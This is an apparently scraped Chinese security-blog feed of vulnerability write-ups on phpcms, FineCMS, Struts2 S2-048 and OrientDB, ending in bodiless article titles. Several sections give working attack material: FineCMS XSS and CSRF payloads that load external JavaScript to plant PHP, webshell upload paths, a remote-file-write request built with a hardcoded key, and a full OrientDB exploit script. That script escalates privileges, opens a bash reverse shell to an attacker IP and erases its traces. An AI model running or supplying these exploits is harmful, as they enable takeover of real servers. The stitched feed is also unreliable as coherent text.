从mysql日志中分析可知:当管理员登陆后台会插入新的session到v9_session表中,每次后台操作都会进行这样的操作,使数据库中的sessionid保持最新,但是值不变。

在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的,限于篇幅,注入过程不再细说,这里直接上图:

得到sessionid,在得到这个参数后还需要一个值,就是pc_hash值,这个值在后台是个随机数,作者是想防止越权以及csrf而设计的,然而对于获取到了后台权限的我们只是一个摆设,下面直接提交数据包访问控制台首页:

FineCMS v2.1.5前台一处XSS+CSRF可getshell

$
0
0

FineCMS一个XSS漏洞分析

FineCMS是一套用CodeIgniter开发的中小型内容管理系统,目前有三个分支:1.x,2.x,5.x,这次分析的是2.x的最新版2.1.5

一、用户输入
既然是XSS,那么就一定有用户的输入以及输出。

// controllers\member\InfoController.php
public function avatarAction() {
    if (empty($this->memberconfig['avatar']) && $this->isPostForm()) {
        $data = $this->input->post('data', TRUE);
        $this->member->update(array('avatar'=> $data['avatar']), 'id=' . $this->memberinfo['id']);
        $this->memberMsg(lang('success'), url('member/info/avatar'), 1);
    }
    $this->view->assign(array(
        'avatar_ext_path' => EXT_PATH . 'avatar/',
        'avatar_return'   => (url('member/info/uploadavatar')),
        'meta_title'      => lang('m-inf-1') . '-' . lang('member') . '-' . $this->site['SITE_NAME'],
    ));
    $this->view->display('member/avatar');
}

$data = $this->input->post('data', TRUE);中第二个参数为TRUE表示数据会经过xss_clean()函数进行过滤,然后就进行过滤。xss_clean()其实是很难绕过的,如果输出点在属性值中,产生XSS的可能性就很大。

二、输出点①
前台触发

// controllers\member\SpaceController.php 第35行-44行
$this->view->assign($data);
$this->view->assign(array(
    'meta_title' => lang('m-spa-2', array('1'=>$data['nickname'])) . '-' . $this->site['SITE_NAME'],
    'userid'     => (int)$data['id'],
    'tablename'  => $model['tablename'],
    'modelname'  => $model['modelname'],
    'groupname'  => $this->membergroup[$data['groupid']]['name'],
    'page'       => $this->get('page') ? $this->get('page') : 1,
));
$this->view->display('member/space');

它使用了模板引擎,然后输出到member/space的模板上。

views\new\member\space.html 第14行
<img src="{$avatar}" width="80" height="80" />

因此,这里我们构造的XSS-Payload如下所示。

"onerror=alert(1)>

三、输出点②
后台触发

// controllers\admin\MemberController.php 第72行-84行
$this->view->assign(array(
    'kw'            => $kw,
    'list'          => $data,
    'page'          => $page,
    'count'         => $count,
    'status'        => $status,
    'pagelist'      => $pagelist,
    'membermodel'   => $this->membermodel,
    'membergroup'   => $this->membergroup,
    'memberextend'  => $this->cache->get('model_member_extend'),
    'is_syn'        => $is_syn
));
$this->view->display('admin/member_list');

上面就是出库->赋值->输出的一个过程,下面看看问题模板文件

views\admin\member_list.html 第80行
<a href="javascript:;" onClick="get_avatar('{$avatar}')">{$t['username']}</a></td

因此构造出来的语句就应该是:

');alert(1)">

四、利用
这里数据库对avatar字段有长度限制,因此利用jQuery加载外部的JS代码;并且,从后台找了一个修改模板的地方,利用代码如下:

');(function(){$.getScript('//127.0.0.1/1.js');})()">

JS代码如下

$(document).ready(function(){
    $.ajax({
        type:"POST",
        url:"/index.php?s=admin&c=theme&a=edit&dir=bmV3XGluZGV4Lmh0bWxc",
        data:{file_content:"{php phpinfo();}",submit:"提交"},
        xhrFields: {
            withCredentials: true
        },
        success:function(){
            alert(1)
        }
    }); 
});

管理员点击用户名之后即会触发XSS->修改模板

from http://ecma.io/715.html

finecms前台任意文件上传

$
0
0

前台头像上传的地方任意文件上传

    public function upload() {

        // 创建图片存储文件夹
        $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
        @dr_dir_delete($dir);
        !is_dir($dir) && dr_mkdirs($dir);

        if ($_POST['tx']) {
            $file = str_replace(' ', '+', $_POST['tx']);
            if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                $new_file = $dir.'0x0.'.$result[2];
                if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                    exit(dr_json(0, '目录权限不足或磁盘已满'));

接收txt的参数.然后匹配了正则.最后取出内容和文件后缀部分。再直接存盘.文件名都是统一的0x0


仅仅是需要记住当前用户的id就可以搞定了

webshell http://xxx.com//uploadfile/member/uid/0x0.php

修复方案:

if (preg_match('/^(data:\s*image\/(png|jpg|jpeg);base64,)/', $file, $result)){

通杀FineCMS5.0.8及版本以下getshell漏洞的

$
0
0

在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.

    public function down_file() {

        $p = array();
        $url = explode('&', $this->input->post('url'));
        //经过& 分割

        foreach ($url as $t) {
            $item = explode('=', $t);
            $p[$item[0]] = $item[1];
        }
        //经过 = 分割
        !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
        //对$p['code'] 进行解码
        list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));
        //得到尺寸和后缀
        $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
        !is_dir($path) && dr_mkdirs($path);

        $furl = $this->input->post('file');
        $file = dr_catcher_data($furl);
        //dr_catcher_data 是读取远程文件
        !$file && exit(dr_json(0, '获取远程文件失败'));

        $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
        !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
        
        $filename = substr(md5(time()), 0, 7).rand(100, 999);
        if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
            $info = array(
                'file_ext' => '.'.$fileext,
                'full_path' => $path.$filename.'.'.$fileext,
                'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
                'client_name' => '',
            );

大概就是先对url进行& 以及 =的分割.最后把code拿出来利用dr_authcode解密.在文件/finecms/dayrui/helpers/function_helper.php里面发现了对dr_authcode的定义

function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    if (!$string) {
        return '';
    }

    $ckey_length = 4;

    $key = md5($key ? $key : SYS_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya . md5($keya . $keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for ($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for ($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if ($operation == 'DECODE') {
        if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc . str_replace('=', '', base64_encode($result));
    }
}

其中还是关联到了SYS_KEY。然而这个值被写死了.没有初始化,所以任何人都可以利用。

修改了下down_file函数的过程.节省了传参过程

        $teststr = "1234|php,txt,jpg,png";
        $shell = dr_authcode($teststr, 'ENCODE');

        $url = "cmd=webshell&code=".$shell;
        $url = explode('&', $url);
        //先按照&进行分割
        foreach ($url as $t) {
            $item = explode('=', $t);
            //再按照 = 来分割
            $p[$item[0]] = $item[1];
        }
        
        !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
        
        list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));

路径是根据当月时间来生成的

$path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; //年月

利用就好办了.利用$key的值不变.然后生成一个参数url在post一下

file=http://cmd.baidu.info/?cmd.php&url=%63%6d%64%3d%77%65%62%73%68%65%6c%6c%26%63%6f%64%65%3d%30%62%35%37%6f%61%38%35%70%4e%6f%72%38%5a%7a%4e%41%42%30%79%38%4e%2f%5a%53%4e%44%71%30%74%31%68%46%6f%34%63%4f%49%41%53%7a%42%67%61%49%57%34%79%47%59%51%46%47%31%79%73%56%5a%62%6f%52%67%52%63%46%51

Struts2高危漏洞S2-048动态分析

$
0
0

综述
2017年7月7日,Apache Struts发布最新的安全公告,Apache Structs2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件,远程执行代码

漏洞分析
(1) 漏洞简介
Apache Struts2.3.x系列版本中struts2-struts1-plugin存在远程代码执行漏洞,进而导致任意代码执行。
(2) 漏洞分析
官方的漏洞描述如下:

从官方的漏洞描述我们可以知道,这个漏洞本质上是在struts2-struts1-plugin这个jar包上。这个库是用将struts1的action封装成struts2的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式,更可恶的是getText的输入内容还是攻击者可控的。以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的execute方法代码如下,从红框中信息可以看出其实质是调用SaveGangsterAction.execute方法,然后再调用getText(msg.getKey()….)。


在struts2-showcase的integration模块下有SaveGangsterAction.java的execute方法的实现。具体如下:

在这个方法中就带入有毒参数gforn.getName()放到了messages结构中,而gform.getName()的值是从客户端获取的。Gangsterform.getName()的实现如下:

我们这里传入了${1+1}。有毒参数已经带入,就差ognl表达式。继续回到Struts1Action.java的execute方法下半部分,这里有getText()的入口,能清晰看到参数已经被污染,具体如下图:

下面进入getText的实现函数:这个调用栈比较深,首先我们给出栈图:

从Struts1action.execute函数开始,到ActionSupport的getText()方法,方法如下:

接着进入TextProviderSuppport.getText,接着调用其另一个重载类方法getText(),示例如下:

如图所示,进入LocalizeTextUtil.findText,继续分析其实现:从名字上也能看出其是根据用户的配置做一些本地化的操作。代码如下:

熟悉struts2的童鞋跟到这一步就能发现这就是一个很典型的ognl表达式入口,先是得到一个valueStack,再继续递归得到ognl表达式的值。这里不再描述,详情可参考官方链接:https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html

给一个事例

输入框内输入 ${1+1}

PS:毕竟只是针对STRUTS的插件而已.google了几个.发现好像都是一样的

from:http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/

FineCMS SYS_KEY未初始化导致任意文件写入

$
0
0

起初我以为这个sys_key是随机生成的.然后我本地和vps上发现都是一样的.最后去看了下源码发现没有生成这个值的地方.最后的最后看了开源的地址http://git.oschina.net/dayrui/finecms/blob/master/v5/config/system.php

发现是固定值 24b16fede9a67c9251d3e7c7161c83ac

文件:finecms/dayrui/controllers/Api.php

    /**
     * 自定义数据调用(新版本)
     */
    public function data2() {

        $data = array();

        // 安全码认证
        $auth = $this->input->get('auth', true);
        if ($auth != md5(SYS_KEY)) {
            // 授权认证码不正确
            $data = array('msg' => '授权认证码不正确', 'code' => 0);
        } else {
            // 解析数据
            $cache = '';
            $param = $this->input->get('param');
            if (isset($param['cache']) && $param['cache']) {
                $cache = md5(dr_array2string($param));
                $data = $this->get_cache_data($cache);
            }
            if (!$data) {

                if ($param == 'login') {
                    // 登录认证
                    $code = $this->member_model->login(
                        $this->input->get('username'),
                        $this->input->get('password'),
                        0, 1);
                    if (is_array($code)) {
                        $data = array(
                            'msg' => 'ok',
                            'code' => 1,
                            'return' => $this->member_model->get_member($code['uid'])
                        );
                    } elseif ($code == -1) {
                        $data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
                    } elseif ($code == -2) {
                        $data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
                    } elseif ($code == -3) {
                        $data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
                    } elseif ($code == -4) {
                        $data = array('msg' => fc_lang('Ucenter:会员名称不合法'), 'code' => 0);
                    }
                } elseif ($param == 'update_avatar') {
                    // 更新头像
                    $uid = (int)$_REQUEST['uid'];
                    $file = $_REQUEST['file'];
                    //
                    // 创建图片存储文件夹
                    $dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
                    @dr_dir_delete($dir);
                    if (!is_dir($dir)) {
                        dr_mkdirs($dir);
                    }
                    $file = str_replace(' ', '+', $file);
                    if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
                        $new_file = $dir.'0x0.'.$result[2];
                        if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                            $data = array(
                                'msg' => '目录权限不足或磁盘已满',
                                'code' => 0
                            );
                        }

之前的一样.正则获取的地方有问题.image后面的值为任意值.导致悲剧的发生

OrientDB <=2.22 代码执行

$
0
0

关于OrientDB

OrientDB是一个分布式图形数据库引擎,具有文档数据库的灵活性,一体化的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。

Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the "reader", but it can also create, update and delete records
ORole​ structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements​, this permission requirement is not required and information is returned to unprivileged users.

Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

poc

#! /usr/bin/env python
#-*- coding: utf-8 -*-
import sys
import requests
import json
import string
import random
 
target = sys.argv[1]
 
try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480
 
url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
 
 
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
def enum_databases(target,port="2480"):
 
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']
 
        return database
 
    return False
 
def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)
 
    if req.status_code == 200:
 
        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True
 
    return False
 
def run_queries(permission,db,content=""):
 
    databases = enum_databases(target)
 
    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])
 
    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"
 
    for priv in priv_enable:
 
        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False
 
    print "[+] %s"%(content)
    return True
 
def priv_escalation(target,port="2480"):
 
    print "[+] Checking OrientDB Database version is greater than 2.2"
 
    if check_version(target,port):
 
        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")
 
        if priv1 and priv2 and priv3:
            return True
 
    return False
 
def exploit(target,port="2480"):
 
    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'
 
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
 
    func_name = random_function_name()
 
    print func_name
 
    databases = enum_databases(target)
 
    reverse_ip = raw_input('Enter the ip to connect back: ')
 
    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))
 
    if req.status_code == 201:
 
        #print req.status_code
        #print req.json()
 
        func_id = req.json()['@rid'].strip("#")
        #print func_id
 
        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
 
        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text
 
        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text
 
        #print "[+] Deleting traces.."
 
        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")
 
        #print req.status_code
        #print req.text
 
def main():
 
    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"
 
main()

ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析

$
0
0

Metinfo 5.3.17 前台SQL注入漏洞分析

$
0
0

ThinkPHP 5.1.x SQL注入漏洞分析

$
0
0

CVE-2018-9206分析

$
0
0

Cisco WebEx远程代码执行漏洞

$
0
0

漏洞预警 | BleedingBit蓝牙芯片远程代码执行漏洞

$
0
0

某CMFX_2.2.3漏洞合集

$
0
0

thinkphp5框架缺陷导致远程代码执行

$
0
0
Viewing all 77 articles
Browse latest View live